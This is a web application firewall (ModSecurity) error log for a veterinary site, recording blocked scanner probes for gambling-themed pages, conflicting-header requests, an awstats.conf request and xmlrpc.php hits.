[Fri Mar 06 04:44:47.512213 2026] [:error] [pid 8652:tid 8803] [client 4.194.42.236:28104] [client 4.194.42.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aanrP9Yc_V4I9STsZ9D3ugAAAFQ"]
[Fri Mar 06 04:44:47.866487 2026] [:error] [pid 8656:tid 8820] [client 4.194.42.236:28100] [client 4.194.42.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aanrP5PxTG9Ff1TtP6OyvwAAAIo"]
[Fri Mar 06 04:44:48.235968 2026] [:error] [pid 16140:tid 16152] [client 4.194.42.236:28150] [client 4.194.42.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aanrQJZVpEeGhAeSpv0sXQAAAQo"]
[Fri Mar 06 05:51:19.444331 2026] [:error] [pid 16140:tid 16146] [client 43.153.36.110:38558] [client 43.153.36.110] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aan615ZVpEeGhAeSpv1ezQAAAQQ"]
[Fri Mar 06 09:01:00.293232 2026] [:error] [pid 8945:tid 8976] [client 43.159.145.149:56504] [client 43.159.145.149] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aaonTAttiLGNg13nMzJB9gAAAMk"]
[Fri Mar 06 09:02:55.598165 2026] [:error] [pid 8945:tid 8980] [client 147.135.213.170:57684] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aaonvwttiLGNg13nMzJDrgAAAM0"]
[Fri Mar 06 09:02:58.080521 2026] [:error] [pid 8656:tid 8816] [client 147.135.213.170:50856] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aaonwpPxTG9Ff1TtP6NYZQAAAIY"]
[Fri Mar 06 09:03:00.457639 2026] [:error] [pid 8945:tid 8968] [client 147.135.213.170:50858] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aaonxAttiLGNg13nMzJDtQAAAME"]
[Fri Mar 06 09:03:02.977046 2026] [:error] [pid 8656:tid 8824] [client 147.135.213.170:50860] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aaonxpPxTG9Ff1TtP6NYdwAAAI4"]
[Fri Mar 06 09:03:05.347513 2026] [:error] [pid 16140:tid 16148] [client 147.135.213.170:44052] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aaonyZZVpEeGhAeSpv3AegAAAQY"]
[Fri Mar 06 09:03:07.835917 2026] [:error] [pid 8656:tid 8830] [client 147.135.213.170:44066] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aaony5PxTG9Ff1TtP6NYlAAAAJQ"]
[Fri Mar 06 09:03:10.366944 2026] [:error] [pid 8652:tid 8800] [client 147.135.213.170:44074] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aaonztYc_V4I9STsZ9AgxQAAAFE"]
[Fri Mar 06 09:03:12.870623 2026] [:error] [pid 8945:tid 8977] [client 147.135.213.170:44082] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aaon0AttiLGNg13nMzJD1AAAAMo"]
[Fri Mar 06 09:03:15.362628 2026] [:error] [pid 8945:tid 8988] [client 147.135.213.170:54316] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aaon0wttiLGNg13nMzJD4QAAANU"]
[Fri Mar 06 09:03:17.841822 2026] [:error] [pid 8945:tid 8980] [client 147.135.213.170:54324] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aaon1QttiLGNg13nMzJD8gAAAM0"]
[Fri Mar 06 09:03:20.212663 2026] [:error] [pid 8656:tid 8827] [client 147.135.213.170:54340] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aaon2JPxTG9Ff1TtP6NY0wAAAJE"]
[Fri Mar 06 09:03:22.690692 2026] [:error] [pid 8945:tid 8974] [client 147.135.213.170:54344] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aaon2gttiLGNg13nMzJEAAAAAMc"]
[Fri Mar 06 09:03:25.210483 2026] [:error] [pid 8652:tid 8804] [client 147.135.213.170:43680] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aaon3dYc_V4I9STsZ9AgywAAAFU"]
[Fri Mar 06 09:03:27.693240 2026] [:error] [pid 8656:tid 8813] [client 147.135.213.170:43684] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aaon35PxTG9Ff1TtP6NZCgAAAIM"]
[Fri Mar 06 09:03:30.176422 2026] [:error] [pid 8656:tid 8815] [client 147.135.213.170:43686] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aaon4pPxTG9Ff1TtP6NZIAAAAIU"]
[Fri Mar 06 09:03:32.676013 2026] [:error] [pid 8656:tid 8821] [client 147.135.213.170:43702] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aaon5JPxTG9Ff1TtP6NZMQAAAIs"]
[Fri Mar 06 09:03:35.167124 2026] [:error] [pid 8945:tid 8969] [client 147.135.213.170:35112] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aaon5wttiLGNg13nMzJEJwAAAMI"]
[Fri Mar 06 09:03:37.663311 2026] [:error] [pid 8945:tid 8983] [client 147.135.213.170:35116] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aaon6QttiLGNg13nMzJEMQAAANA"]
[Fri Mar 06 09:03:40.188403 2026] [:error] [pid 16140:tid 16165] [client 147.135.213.170:35124] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aaon7JZVpEeGhAeSpv3ArgAAARc"]
[Fri Mar 06 09:03:42.663016 2026] [:error] [pid 8656:tid 8823] [client 147.135.213.170:35136] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aaon7pPxTG9Ff1TtP6NZSQAAAI0"]
[Fri Mar 06 09:03:45.180597 2026] [:error] [pid 8656:tid 8834] [client 147.135.213.170:56068] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aaon8ZPxTG9Ff1TtP6NZVAAAAJg"]
[Fri Mar 06 09:03:47.691212 2026] [:error] [pid 8945:tid 8988] [client 147.135.213.170:56074] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aaon8wttiLGNg13nMzJEWQAAANU"]
[Fri Mar 06 09:03:50.219754 2026] [:error] [pid 8656:tid 8822] [client 147.135.213.170:56082] [client 147.135.213.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aaon9pPxTG9Ff1TtP6NZcQAAAIw"]
[Fri Mar 06 11:51:05.984567 2026] [:error] [pid 44628:tid 44649] [client 182.44.2.148:57572] [client 182.44.2.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aapPKYZtiq7T54_AYvK8ewAAAUQ"]
[Fri Mar 06 12:13:45.943160 2026] [:error] [pid 8648:tid 8769] [client 3.236.75.40:44572] [client 3.236.75.40] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/awstats.conf"] [unique_id "aapUeUhAk6X-gF6akMRt0QAAABY"]
[Fri Mar 06 13:15:35.592764 2026] [:error] [pid 8656:tid 8827] [client 179.125.215.99:39901] [client 179.125.215.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.125.215.99, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aapi95PxTG9Ff1TtP6NOqwAAAJE"]
[Fri Mar 06 15:52:03.266544 2026] [:error] [pid 16140:tid 16162] [client 149.224.116.234:63515] [client 149.224.116.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aaqHo5ZVpEeGhAeSpv1nPwAAARQ"]
[Fri Mar 06 15:52:05.919658 2026] [:error] [pid 16140:tid 16155] [client 149.224.116.234:59325] [client 149.224.116.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aaqHpZZVpEeGhAeSpv1nSQAAAQ0"]
[Fri Mar 06 15:52:08.538861 2026] [:error] [pid 16140:tid 16145] [client 149.224.116.234:63724] [client 149.224.116.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aaqHqJZVpEeGhAeSpv1nVgAAAQM"]
[Fri Mar 06 15:52:10.936965 2026] [:error] [pid 59237:tid 59264] [client 149.224.116.234:61480] [client 149.224.116.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aaqHquqfMSBs0nxOTxGN_wAAA5Y"]
[Fri Mar 06 15:52:13.451879 2026] [:error] [pid 59237:tid 59252] [client 149.224.116.234:61420] [client 149.224.116.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aaqHreqfMSBs0nxOTxGOBQAAA4o"]
[Fri Mar 06 15:52:16.054928 2026] [:error] [pid 59239:tid 59270] [client 149.224.116.234:64153] [client 149.224.116.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aaqHsLG1EpnE909fvGdTSQAAA8E"]
[Fri Mar 06 15:52:18.797895 2026] [:error] [pid 59239:tid 59287] [client 149.224.116.234:63448] [client 149.224.116.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aaqHsrG1EpnE909fvGdTUAAAA9I"]
[Fri Mar 06 15:52:21.323570 2026] [:error] [pid 59237:tid 59250] [client 149.224.116.234:64477] [client 149.224.116.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aaqHteqfMSBs0nxOTxGOGgAAA4g"]
[Fri Mar 06 15:52:23.842818 2026] [:error] [pid 16140:tid 16143] [client 149.224.116.234:62827] [client 149.224.116.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aaqHt5ZVpEeGhAeSpv1ngAAAAQE"]
[Fri Mar 06 15:52:26.527590 2026] [:error] [pid 59239:tid 59276] [client 149.224.116.234:61552] [client 149.224.116.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aaqHurG1EpnE909fvGdTXwAAA8c"]
[Fri Mar 06 15:52:29.205132 2026] [:error] [pid 16140:tid 16158] [client 149.224.116.234:60974] [client 149.224.116.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aaqHvZZVpEeGhAeSpv1nlgAAARA"]
[Fri Mar 06 15:52:31.882276 2026] [:error] [pid 59239:tid 59273] [client 149.224.116.234:64727] [client 149.224.116.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aaqHv7G1EpnE909fvGdTbwAAA8Q"]
[Fri Mar 06 15:52:34.335326 2026] [:error] [pid 16140:tid 16148] [client 149.224.116.234:59774] [client 149.224.116.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aaqHwpZVpEeGhAeSpv1nwQAAAQY"]
[Fri Mar 06 15:52:36.906848 2026] [:error] [pid 16140:tid 16166] [client 149.224.116.234:62088] [client 149.224.116.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aaqHxJZVpEeGhAeSpv1n0gAAARg"]
[Fri Mar 06 15:52:39.303040 2026] [:error] [pid 16140:tid 16153] [client 149.224.116.234:60382] [client 149.224.116.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aaqHx5ZVpEeGhAeSpv1n3AAAAQs"]
[Fri Mar 06 15:52:41.816117 2026] [:error] [pid 59237:tid 59244] [client 149.224.116.234:64803] [client 149.224.116.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aaqHyeqfMSBs0nxOTxGOPgAAA4I"]
[Fri Mar 06 15:52:44.448555 2026] [:error] [pid 59239:tid 59272] [client 149.224.116.234:63555] [client 149.224.116.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aaqHzLG1EpnE909fvGdTpwAAA8M"]
[Fri Mar 06 15:52:48.329551 2026] [:error] [pid 59239:tid 59292] [client 149.224.116.234:61538] [client 149.224.116.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aaqH0LG1EpnE909fvGdTswAAA9c"]
[Fri Mar 06 15:52:50.824988 2026] [:error] [pid 16140:tid 16157] [client 149.224.116.234:61065] [client 149.224.116.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aaqH0pZVpEeGhAeSpv1oBQAAAQ8"]
[Fri Mar 06 15:52:53.312894 2026] [:error] [pid 16140:tid 16143] [client 149.224.116.234:61396] [client 149.224.116.234] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aaqH1ZZVpEeGhAeSpv1oEgAAAQE"]
[Fri Mar 06 16:22:10.351817 2026] [:error] [pid 16140:tid 16165] [client 43.155.129.131:39878] [client 43.155.129.131] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aaqOspZVpEeGhAeSpv16YwAAARc"]
[Fri Mar 06 18:54:22.838943 2026] [:error] [pid 59237:tid 59246] [client 51.75.119.153:38928] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aaqyXuqfMSBs0nxOTxH3DQAAA4Q"]
[Fri Mar 06 18:54:25.791112 2026] [:error] [pid 8656:tid 8832] [client 51.75.119.153:38792] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aaqyYZPxTG9Ff1TtP6OvggAAAJY"]
